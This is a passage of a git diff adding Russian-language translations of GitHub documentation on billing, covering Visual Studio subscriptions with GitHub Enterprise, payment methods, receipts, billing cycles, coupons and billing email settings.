%}](https://docs.microsoft.com/en-us/azure/developer/github/deploy-with-visual-studio) в документации Майкрософт diff --git a/translations/ru-RU/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md b/translations/ru-RU/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md new file mode 100644 index 000000000000..1b646fa3105d --- /dev/null +++ b/translations/ru-RU/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md @@ -0,0 +1,17 @@ +--- +title: Управление лицензиями для подписок Visual Studio с GitHub Enterprise +shortTitle: Visual Studio & GitHub Enterprise +intro: '{% data reusables.enterprise-accounts.vss-ghe-description %}' +versions: + ghec: '*' +children: + - /about-visual-studio-subscriptions-with-github-enterprise + - /setting-up-visual-studio-subscriptions-with-github-enterprise +ms.openlocfilehash: 957483fc4d4f4fd3c2587433b337bc7cb2719859 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147878341' +--- + diff --git a/translations/ru-RU/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md b/translations/ru-RU/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md new file mode 100644 index 000000000000..bc1ce6a7f0eb --- /dev/null +++ b/translations/ru-RU/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md @@ -0,0 +1,74 @@ +--- +title: "Настройка подписок Visual\_Studio с GitHub Enterprise" +intro: 'Подписка команды на {% data variables.product.prodname_vs %} также может предоставить доступ к {% data variables.product.prodname_enterprise %}.' +versions: + ghec: '*' +type: how_to +topics: + - Enterprise + - Licensing +shortTitle: Set up +ms.openlocfilehash: ae030de637593aa723a5d2990485881ae30b333c +ms.sourcegitcommit: 6b649e03ca2fef38c9ebbeec92102219849380e2 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/31/2022 +ms.locfileid: '148120628' +--- +## Сведения о настройке {% data variables.visual_studio.prodname_vss_ghe %} + +{% data reusables.enterprise-accounts.vss-ghe-description %} Дополнительные сведения см. в разделе [Сведения о {% data variables.visual_studio.prodname_vss_ghe %}](/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise). + +В этом руководстве показано, как вашей команде получить лицензию на подписчиков {% data variables.product.prodname_vs %} и начать работу с {% data variables.product.prodname_enterprise %}. + +Если вы предпочитаете видео, то можете посмотреть видеоролик [Настройка лицензий {% data variables.product.prodname_enterprise %} с подписками {% data variables.product.prodname_vs %}](https://www.youtube.com/watch?v=P_zBgp_BE_I) на YouTube-канале Microsoft Visual Studio. + +## Роли для {% data variables.visual_studio.prodname_vss_ghe %} + +Перед настройкой {% data variables.visual_studio.prodname_vss_ghe %} важно понимать роли для этого объединенного предложения. + +| Роль | Служба | Описание | Дополнительные сведения | +| :- | :- | :- | :- | +| **Администратор подписок** | Подписка {% data variables.product.prodname_vs %} | Пользователь, который назначает лицензии для подписки {% data variables.product.prodname_vs %} | [Обзор обязанностей администратора](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) в Документации Майкрософт | +| **Подписчик** | Подписка {% data variables.product.prodname_vs %} | Пользователь, который использует лицензию для подписки {% data variables.product.prodname_vs %} | [Документация по Подпискам на Visual Studio](https://docs.microsoft.com/en-us/visualstudio/subscriptions/) в Документации Майкрософт | +| **Владелец предприятия** | {% data variables.product.prodname_dotcom %} | Пользователь с личной учетной записью, которая является администратором предприятия в {% data variables.location.product_location %} | [Роли на предприятии](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owner) | +| **Владелец организации** | {% data variables.product.prodname_dotcom %} | Пользователь, у которого есть личная учетная запись, являющаяся владельцем организации на предприятии вашей команды на {% data variables.location.product_location %} | [Роли в организации](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#organization-owners) | +| **Участник предприятия** | {% data variables.product.prodname_dotcom %} | Пользователь, у которого есть личная учетная запись, являющаяся участником предприятия в {% data variables.location.product_location %} | [Роли на предприятии](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-members) | + +## Предварительные требования + +- Подписка {% data variables.product.prodname_vs %} вашей команды должна включать {% data variables.product.prodname_enterprise %}. Дополнительные сведения см. в разделе [Подписки и преимущества {% data variables.product.prodname_vs %}](https://visualstudio.microsoft.com/subscriptions/) на веб-сайте {% data variables.product.prodname_vs %} и в разделе [Обзор обязанностей администратора](https://docs.microsoft.com/en-us/visualstudio/subscriptions/admin-responsibilities) в Документации Майкрософт. + + - Ваша команда должна иметь предприятие на {% data variables.location.product_location %}. Если вы не знаете, есть ли у вашей команды предприятие, обратитесь к администратору {% data variables.product.prodname_dotcom %}. Если вы не знаете, кто в вашей команде отвечает за {% data variables.product.prodname_dotcom %}, свяжитесь с {% data variables.contact.contact_enterprise_sales %}. Дополнительные сведения см. в разделе [Сведения об учетных записях предприятия](/admin/overview/about-enterprise-accounts). + +## Настройка {% data variables.visual_studio.prodname_vss_ghe %} + +Чтобы настроить {% data variables.visual_studio.prodname_vss_ghe %}, участники вашей команды должны выполнить следующие задачи. + +Один пользователь может быть в состоянии выполнить задачи, так как у него имеются все роли, однако может потребоваться координировать задачи с несколькими пользователями. Дополнительные сведения см. в разделе [Роли для {% data variables.visual_studio.prodname_vss_ghe %}](#roles-for-visual-studio-subscriptions-with-github-enterprise). + +1. Владелец предприятия должен создать хотя бы одну организацию в вашем предприятии на {% data variables.location.product_location %}. Дополнительные сведения см. в разделе [Добавление организаций на предприятии](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise). + +1. Администратор подписки должен назначить лицензию на {% data variables.product.prodname_vs %} подписчику в {% data variables.visual_studio.prodname_vss_admin_portal_with_url %}. Дополнительные сведения см. в разделах [Обзор портала администрирования подписок {% data variables.product.prodname_vs %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/using-admin-portal) и [Назначение лицензий {% data variables.product.prodname_vs %} на портале администрирования подписок {% data variables.product.prodname_vs %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-license) Документации Майкрософт. + +1. При необходимости, если администратор подписки назначил лицензии подписчикам в {% data variables.product.prodname_vs %}, прежде чем добавить в подписку {% data variables.product.prodname_enterprise %}, администратор подписки может переместить подписчиков в объединенное предложение на портале администрирования {% data variables.product.prodname_vs %}. Дополнительные сведения см. в разделе [Управление подписками {% data variables.product.prodname_vs %} с {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/assign-github#moving-to-visual-studio-with-github-enterprise) Документации Майкрософт. + +1. Если администратор подписки не отключил уведомления по электронной почте, подписчик получит два сообщения с подтверждением. Дополнительные сведения см. в разделе [Подписки {% data variables.product.prodname_vs %} с {% data variables.product.prodname_enterprise %}](https://docs.microsoft.com/en-us/visualstudio/subscriptions/access-github#what-is-the-visual-studio-subscription-with-github-enterprise-setup-process) Документации Майкрософт. + +1. Владелец организации должен пригласить подписчика в организацию на {% data variables.location.product_location %} из шага 1. Подписчик может принять приглашение с существующей учетной записью пользователя на {% data variables.product.prodname_dotcom_the_website %} или создать новую учетную запись. После присоединения к организации подписчик становится участником предприятия. Дополнительные сведения см. в разделе [Отправка пользователям приглашений присоединиться к организации](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization). + + {% tip %} + + **Совет**. + + - Несмотря на то что это необязательно, рекомендуется, чтобы владелец организации отправлял приглашение на тот же адрес электронной почты, который использовался для имени участника-пользователя (UPN) подписчика. Если адрес электронной почты в {% data variables.location.product_location %} соответствует имени участника-пользователя подписчика, вы можете убедиться, что другое предприятие не запрашивает лицензию подписчика. + - Если подписчик принимает приглашение в организацию с существующей личной учетной записью в {% data variables.location.product_location %}, рекомендуется добавить адрес электронной почты, который он использует для {% data variables.product.prodname_vs %}, в свою личную учетную запись в {% data variables.location.product_location %}. Дополнительные сведения см. в разделе [Добавление адреса электронной почты в учетную запись {% data variables.product.prodname_dotcom %}](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account). + - Если владелец организации должен пригласить большое количество подписчиков, можно ускорить процесс с помощью скрипта. Дополнительные сведения см. в [примере скрипта PowerShell](https://github.com/github/platform-samples/blob/master/api/powershell/invite_members_to_org.ps1) в репозитории `github/platform-samples`. + + {% endtip %} + +После настройки {% data variables.visual_studio.prodname_vss_ghe %} для подписчиков в вашей команде владельцы предприятия могут просматривать сведения о лицензировании на {% data variables.location.product_location %}. Дополнительные сведения см. в разделе [Просмотр подписки и данных об использовании для учетной записи предприятия](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account). + +## Дополнительные материалы + +- [Начало работы с {% data variables.product.prodname_ghe_cloud %}](/get-started/onboarding/getting-started-with-github-enterprise-cloud) diff --git a/translations/ru-RU/content/billing/managing-your-github-billing-settings/about-billing-on-github.md b/translations/ru-RU/content/billing/managing-your-github-billing-settings/about-billing-on-github.md new file mode 100644 index 000000000000..af427007a996 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-github-billing-settings/about-billing-on-github.md @@ -0,0 +1,53 @@ +--- +title: Сведения о выставлении счетов в GitHub +intro: 'Для всего, что вы приобретете в {% data variables.product.prodname_dotcom %}, используется та же существующая дата выставления счетов для учетной записи, способ оплаты и квитанция.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-on-github + - /articles/about-billing-on-github + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/about-billing-on-github +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Fundamentals +ms.openlocfilehash: f0c16e5f1c341b602a10c5bf672b815ea2149a9e +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147879274' +--- +## Платные функции и продукты + +Личную учетную запись или учетную запись организации можно в любое время обновить до платной подписки. Вы также можете приобретать приложения из {% data variables.product.prodname_marketplace %} или обновить хранилище и пропускную способность для {% data variables.large_files.product_name_long %}. Дополнительные сведения см. в разделе: +- [Сведения о выставлении счетов для учетных записей {% data variables.product.prodname_dotcom %}](/articles/about-billing-for-github-accounts) +- [Сведения о выставлении счетов для {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace) +- [Сведения о выставлении счетов для {% data variables.large_files.product_name_long %}](/articles/about-billing-for-git-large-file-storage) +- [Сведения о выставлении счетов для {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors) + +## Управление параметрами выставления счетов + +Вам необходимо отдельно управлять параметрами выставления счетов, способами оплаты, а также платными функциями и продуктами для каждой личной учетной записи и учетной записи организации. Вы можете платить ежемесячно или ежегодно за платные продукты и функции каждой учетной записи. Все платные функции или продукты, связанные с учетной записью, имеют общую дату выставления счета, способ оплаты и квитанцию. + +{% data reusables.dotcom_billing.payment-methods %} {% data reusables.dotcom_billing.same-payment-method %} + +Дополнительные сведения см. в разделе [Управление параметрами выставления счетов {% data variables.product.prodname_dotcom %}](/articles/managing-your-github-billing-settings). + +## Переключение между параметрами для различных учетных записей + +Если вы являетесь владельцем организации или предприятия, то можете переключаться между параметрами для разных учетных записей с помощью переключателя контекста в параметрах. + +{% data reusables.user-settings.access_settings %} +1. В верхней части страницы справа от имени пользователя нажмите кнопку **Переключиться на другую учетную запись**. +![Кнопка переключения контекста](/assets/images/help/settings/context-switcher-button.png) +1. Начните вводить имя учетной записи, на которую вы хотите переключиться, а затем щелкните имя этой учетной записи. +![Меню переключения контекста](/assets/images/help/settings/context-switcher-menu.png) +1. В левой боковой панели щелкните **{% octicon "credit-card" aria-label="The credit card icon" %} Выставление счетов и планы**. + +## Дополнительные материалы + +- [Управление выставлением счетов для учетной записи {% data variables.product.prodname_dotcom %}](/articles/managing-billing-for-your-github-account) +- [Управление выставлением счетов за {% data variables.product.prodname_marketplace %} приложений](/articles/managing-billing-for-github-marketplace-apps) +- [Управление выставлением счетов для {% data variables.large_files.product_name_long %}](/articles/managing-billing-for-git-large-file-storage) +- [Управление выставлением счетов для {% data variables.product.prodname_sponsors %}](/articles/managing-billing-for-github-sponsors) diff --git a/translations/ru-RU/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md b/translations/ru-RU/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md new file mode 100644 index 000000000000..3226c9353d3d --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md @@ -0,0 +1,53 @@ +--- +title: Добавление сведений в квитанции +intro: 'Вы можете добавить дополнительную информацию в свои квитанции о {% data variables.product.product_name %}, например сведения о налогах или бухгалтерском учете, которые действуют для вашей компании или в вашей стране.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/adding-information-to-your-receipts + - /articles/can-i-add-my-credit-card-number-to-my-receipts + - /articles/can-i-add-extra-information-to-my-receipts--2 + - /articles/how-can-i-add-extra-information-to-my-receipts + - /articles/could-you-add-my-card-number-to-my-receipts + - /articles/how-can-i-add-extra-information-to-my-personal-account-s-receipts + - /articles/adding-information-to-your-personal-account-s-receipts + - /articles/how-can-i-add-extra-information-to-my-organization-s-receipts + - /articles/adding-information-to-your-organization-s-receipts + - /articles/adding-information-to-your-receipts + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/adding-information-to-your-receipts +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Organizations + - Receipts + - User account +shortTitle: Add to your receipts +ms.openlocfilehash: 1b7495e5d23266816ca106defa7b695ff184ea43 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145087872' +--- +Ваши квитанции включают вашу подписку {% data variables.product.prodname_dotcom %}, а также любые подписки для [других платных функций и продуктов](/articles/about-billing-on-github). + +{% warning %} + +**Предупреждение**. Из соображений безопасности мы настоятельно рекомендуем не включать в квитанции какие-либо конфиденциальные или финансовые сведения (например, номера кредитных карт). + +{% endwarning %} + +## Добавление сведений в квитанции личной учетной записи + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.user-settings.payment-info-link %} {% data reusables.dotcom_billing.extra_info_receipt %} + +## Добавление сведений в квитанции учетной записи организации + +{% note %} + +**Примечание.** {% data reusables.dotcom_billing.org-billing-perms %} + +{% endnote %} + + +{% data reusables.organizations.billing-settings %} {% data reusables.user-settings.payment-info-link %} {% data reusables.dotcom_billing.extra_info_receipt %} diff --git a/translations/ru-RU/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md b/translations/ru-RU/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md new file mode 100644 index 000000000000..38b931804790 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md @@ -0,0 +1,55 @@ +--- +title: Добавление или изменение способа оплаты +intro: Вы можете в любое время добавить способ оплаты в свою учетную запись или обновить существующий способ оплаты для учетной записи. +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/adding-or-editing-a-payment-method + - /articles/updating-your-personal-account-s-payment-method + - /articles/how-do-i-update-my-credit-card + - /articles/updating-your-account-s-credit-card + - /articles/updating-your-personal-account-s-credit-card + - /articles/updating-your-personal-account-s-paypal-information + - /articles/does-github-provide-invoicing + - /articles/switching-payment-methods-for-your-personal-account + - /articles/paying-for-your-github-organization-account + - /articles/updating-your-organization-s-credit-card + - /articles/updating-your-organization-s-paypal-information + - /articles/updating-your-organization-s-payment-method + - /articles/switching-payment-methods-for-your-organization + - /articles/adding-or-editing-a-payment-method + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/adding-or-editing-a-payment-method +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Organizations + - User account +shortTitle: Manage a payment method +ms.openlocfilehash: 1fd85d480a7ed5085b9f142c82314f738fa6ffc6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087867' +--- +{% data reusables.dotcom_billing.payment-methods %} {% data reusables.dotcom_billing.same-payment-method %} + +Мы не выставляем счета и не принимаем заказы на покупку для личных учетных записей. Мы отправляем квитанции по электронной почте ежемесячно или ежегодно в дату выставления счетов для вашей учетной записи. Если согласно требованиям вашей компании, страны или бухгалтера в квитанциях должны указываться более подробные сведения, вы также можете [добавить в них дополнительную информацию](/articles/adding-information-to-your-personal-account-s-receipts). + +## Обновление способа оплаты в личной учетной записи + +{% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.update_payment_method %} +1. Если у вашей учетной записи есть сведения о выставлении счетов, которые требуется обновить, нажмите кнопку **Изменить**. +![Кнопка создания карты для оплаты](/assets/images/help/billing/billing-information-edit-button.png) {% data reusables.dotcom_billing.enter-billing-info %} +1. Если у вашей учетной записи есть существующий способ оплаты, который требуется обновить, нажмите кнопку **Изменить**. +![Кнопка создания карты для оплаты](/assets/images/help/billing/billing-payment-method-edit-button.png) {% data reusables.dotcom_billing.enter-payment-info %} + +## Обновление способа оплаты в организации + +{% data reusables.dotcom_billing.org-billing-perms %} + +Если ваша организация находится за пределами США или вы оплачиваете оплаты {% data variables.product.product_name %} через корпоративный расчетный счет, удобно использовать PayPal. + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.update_payment_method %} +1. Если у вашей учетной записи есть кредитная карта, которую вы хотите обновить, нажмите кнопку **Создать карту**. +![Кнопка создания карты для оплаты](/assets/images/help/billing/billing-new-card-button.png) {% data reusables.dotcom_billing.enter-payment-info %} diff --git a/translations/ru-RU/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md b/translations/ru-RU/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md new file mode 100644 index 000000000000..4d06450be657 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md @@ -0,0 +1,47 @@ +--- +title: Изменение длительности цикла выставления счетов +intro: Вы можете оплатить подписку вашей учетной записи и другие платные функции и продукты в рамках ежемесячного или ежегодного цикла выставления счетов. +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/changing-the-duration-of-your-billing-cycle + - /articles/monthly-and-yearly-billing + - /articles/switching-between-monthly-and-yearly-billing-for-your-personal-account + - /articles/switching-between-monthly-and-yearly-billing-for-your-organization + - /articles/changing-the-duration-of-your-billing-cycle + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Organizations + - Repositories + - User account +shortTitle: Billing cycle +ms.openlocfilehash: 164b0192f1b055b95ad83fc2845e9af59058b6a7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087861' +--- +При изменении длительности цикла выставления счетов ваша подписка {% data variables.product.prodname_dotcom %} вместе с другими платными функциями и продуктами будет перенесена в новый цикл выставления счетов в следующую дату выставления счетов. + +## Изменение длительности цикла выставления счетов для личной учетной записи + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %} {% data reusables.dotcom_billing.change_plan_duration %} {% data reusables.dotcom_billing.confirm_duration_change %} + +## Изменение длительности цикла выставления счетов в организации + +{% data reusables.dotcom_billing.org-billing-perms %} + +### Изменение длительности подписки на пользователя + +{% data reusables.organizations.billing-settings %} {% data reusables.dotcom_billing.change_plan_duration %} {% data reusables.dotcom_billing.confirm_duration_change %} + +### Изменение длительности устаревшего плана для каждого репозитория + +{% data reusables.organizations.billing-settings %} +4. В разделе "Обзор выставления счетов" нажмите кнопку **Изменить план**. + ![Кнопка обзора изменения плана выставления счетов](/assets/images/help/billing/billing_overview_change_plan.png) +5. В правом верхнем углу щелкните **Переключиться на ежемесячное выставление счетов** или **Переключиться на ежегодное выставление счетов**. + ![Раздел сведений о выставлении счетов](/assets/images/help/billing/settings_billing_organization_plans_switch_to_yearly.png) diff --git a/translations/ru-RU/content/billing/managing-your-github-billing-settings/index.md b/translations/ru-RU/content/billing/managing-your-github-billing-settings/index.md new file mode 100644 index 000000000000..2cd6ec673502 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-github-billing-settings/index.md @@ -0,0 +1,35 @@ +--- +title: Управление параметрами выставления счетов GitHub +shortTitle: Billing settings +intro: 'Параметры выставления счетов вашей учетной записи применяются ко всем платным функциям и продуктам, которые вы добавляете в учетную запись. Вы можете управлять такими параметрами, как способ оплаты, цикл выставления счетов и электронная почта для выставления счетов. Вы также можете просматривать такие сведения о выставлении счетов, как подписка, дата выставления счета, журнал платежей и квитанции за прошлые периоды.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings + - /articles/viewing-and-managing-your-personal-account-s-billing-information + - /articles/paying-for-user-accounts + - /articles/viewing-and-managing-your-organization-s-billing-information + - /articles/paying-for-organization-accounts + - /categories/paying-for-organization-accounts/articles + - /categories/99/articles + - /articles/managing-your-github-billing-settings +versions: + fpt: '*' + ghec: '*' +children: + - /about-billing-on-github + - /viewing-your-subscriptions-and-billing-date + - /adding-or-editing-a-payment-method + - /viewing-your-payment-history-and-receipts + - /adding-information-to-your-receipts + - /setting-your-billing-email + - /changing-the-duration-of-your-billing-cycle + - /redeeming-a-coupon + - /troubleshooting-a-declined-credit-card-charge + - /unlocking-a-locked-account +ms.openlocfilehash: 6b9d87e20022431675c949132c9a84a23650abe7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087855' +--- + diff --git a/translations/ru-RU/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md b/translations/ru-RU/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md new file mode 100644 index 000000000000..06306eb6d7b5 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md @@ -0,0 +1,45 @@ +--- +title: Активация купона +intro: 'Если у вас есть купон, вы можете активировать его по платной подписке {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/redeeming-a-coupon + - /articles/where-do-i-add-a-coupon-code + - /articles/redeeming-a-coupon-for-your-personal-account + - /articles/redeeming-a-coupon-for-organizations + - /articles/redeeming-a-coupon + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/redeeming-a-coupon +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Discounts + - Fundamentals + - Organizations + - User account +ms.openlocfilehash: 8b1c0c9b250994e4186371c74a4bc97e7609770d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145087849' +--- +{% data variables.product.product_name %} не может вернуть деньги, если вы оплатили учетную запись до применения купона. Мы также не можем передать активированный купон или предоставить вам новый купон, если вы примените его к неправильной учетной записи. Убедитесь, что вы применяете купон к правильной учетной записи, прежде чем активировать купон. + +{% data reusables.dotcom_billing.coupon-expires %} + +Вы не можете применять купоны к платным планам для приложений {% data variables.product.prodname_marketplace %}. + +## Активация купона для вашей личной учетной записи + +{% data reusables.dotcom_billing.enter_coupon_code_on_redeem_page %} +4. В разделе "Активация купона" щелкните **Выбрать** рядом с именем пользователя вашей *личной* учетной записи. + ![Нажмите кнопку](/assets/images/help/settings/redeem-coupon-choose-button-for-personal-accounts.png) {% data reusables.dotcom_billing.redeem_coupon %} + +## Активация купона для вашей организации + +{% data reusables.dotcom_billing.org-billing-perms %} + +{% data reusables.dotcom_billing.enter_coupon_code_on_redeem_page %} +4. В разделе "Активация купона" щелкните **Выбрать** рядом с *организацией*, к которой необходимо применить купон. Если вы хотите применить свой купон к новой организации, которой еще не существует, щелкните **Создать новую организацию**. + ![Нажмите кнопку](/assets/images/help/settings/redeem-coupon-choose-button.png) {% data reusables.dotcom_billing.redeem_coupon %} diff --git a/translations/ru-RU/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md b/translations/ru-RU/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md new file mode 100644 index 000000000000..7723fe4ac965 --- /dev/null +++ b/translations/ru-RU/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md @@ -0,0 +1,120 @@ +--- +title: Настройка адреса электронной почты для выставления счетов +intro: 'На адрес электронной почты для выставления счетов учетной записи {% data variables.product.product_name %} отправляет квитанции и другие сообщения, связанные с выставлением счетов.' +redirect_from: + - /github/setting-up-and-managing-billing-and-payments-on-github/setting-your-billing-email + - /articles/setting-your-personal-account-s-billing-email + - /articles/can-i-change-what-email-address-received-my-github-receipt + - '/articles/how-do-i-change-the-billing-email,setting-your-billing-email' + - /articles/setting-your-organization-s-billing-email + - /articles/setting-your-billing-email + - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-github-billing-settings/setting-your-billing-email +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Organizations + - User account +shortTitle: Billing email +ms.openlocfilehash: 35b340a697bafd0c7e3047983496b71048cbe0ac +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145087848' +--- +## Настройка адреса электронной почты для выставления счетов в личной учетной записи + +На основной адрес электронной почты в вашей личной учетной записи {% data variables.product.product_name %} отправляет квитанции и другие сообщения, связанные с выставлением счетов. + +Ваш основной адрес электронной почты указан в параметрах электронной почты учетной записи. +Мы также используем ваш основной адрес электронной почты в качестве адреса электронной почты для выставления счетов. + +Если вы хотите изменить адрес электронной почты для выставления счетов, см. раздел "[Изменение основного адреса электронной почты](/articles/changing-your-primary-email-address)". + +## Настройка адреса электронной почты для выставления счетов в организации + +На адрес электронной почты для выставления счетов в организации {% data variables.product.product_name %} отправляет квитанции и другие сообщения, связанные с выставлением счетов. Адрес электронной почты не обязательно должен быть уникальным для учетной записи организации. + +{% data reusables.dotcom_billing.org-billing-perms %} + +{% data reusables.organizations.billing-settings %} +1. В разделе "Управление выставлением счетов" справа от адреса электронной почты для выставления счетов нажмите **Изменить**. + ![Текущие адреса электронной почты для выставления счетов](/assets/images/help/billing/billing-change-email.png) +2. Введите допустимый адрес электронной почты и нажмите **Обновить**. + ![Модальное окно изменения адреса электронной почты для выставления счетов](/assets/images/help/billing/billing-change-email-modal.png) + +## Управление дополнительными получателями электронной почты о выставлении счетов в организации + +Если у вас есть пользователи, которым нужно получать отчеты о выставлении счетов, можно добавить их адреса электронной почты в список получателей электронной почты о выставлении счетов. Эта функция доступна только организациям, которые не управляются предприятием. + +{% data reusables.dotcom_billing.org-billing-perms %} + +### Добавление получателя для уведомлений о выставлении счетов + +{% data reusables.organizations.billing-settings %} +1. В разделе "Управление выставлением счетов" справа от "Получатели электронной почты" нажмите кнопку **Добавить**. + ![Добавление получателя](/assets/images/help/billing/billing-add-email-recipient.png) +1. Введите адрес электронной почты получателя и нажмите **Добавить**. + ![Модальное окно добавления получателя](/assets/images/help/billing/billing-add-email-recipient-modal.png) + +### Изменение основного получателя для уведомлений о выставлении счетов + +Один адрес всегда должен быть указан в качестве основного получателя. Адрес с этим обозначением нельзя удалить, пока не будет выбран новый основной получатель. + +{% data reusables.organizations.billing-settings %} +1. В разделе "Управление выставлением счетов" найдите адрес электронной почты, который нужно сделать основным получателем. +1. Справа от этого адреса в раскрывающемся меню "Изменить" выберите **Отметить как основной**. + ![Отметить основного получателя](/assets/images/help/billing/billing-change-primary-email-recipient.png) + +### Удаление получателя уведомлений о выставлении счетов + +{% data reusables.organizations.billing-settings %} +1. В разделе "Получатели электронной почты" найдите адрес электронной почты, который нужно удалить. +1. Для записи пользователя в списке нажмите **Изменить**. + ![Изменить получателя](/assets/images/help/billing/billing-edit-email-recipient.png) +1. Справа от адреса электронной почты в раскрывающемся меню "Изменить" выберите **Удалить**. + ![Удалить получателя](/assets/images/help/billing/billing-remove-email-recipient.png) +1. Ознакомьтесь с запросом на подтверждение и нажмите **Удалить**. + +{% ifversion ghec %} +## Настройка адреса электронной почты для выставления счетов на предприятии + +На адрес электронной почты для выставления счетов на предприятии {% data variables.product.product_name %} отправляет квитанции и другие сообщения, связанные с выставлением счетов. Адрес электронной почты не обязательно должен быть уникальным для учетной записи предприятия. + +Просматривать и изменять параметры выставления счетов для предприятия могут только участники с ролью ответственного по предприятию или менеджера по выставлению счетов. Дополнительные сведения см. в разделе [Управление пользователями на предприятии](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise). + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %} +1. Щелкните **Электронная почта о выставлении счетов**. +2. В разделе "Получатели электронной почты" справа от адреса электронной почты для выставления счетов нажмите **Изменить**. + ![Снимок экрана: текущий адрес электронной почты для выставления счетов с выделенной кнопкой "Изменить"](/assets/images/help/billing/billing-change-email.png) 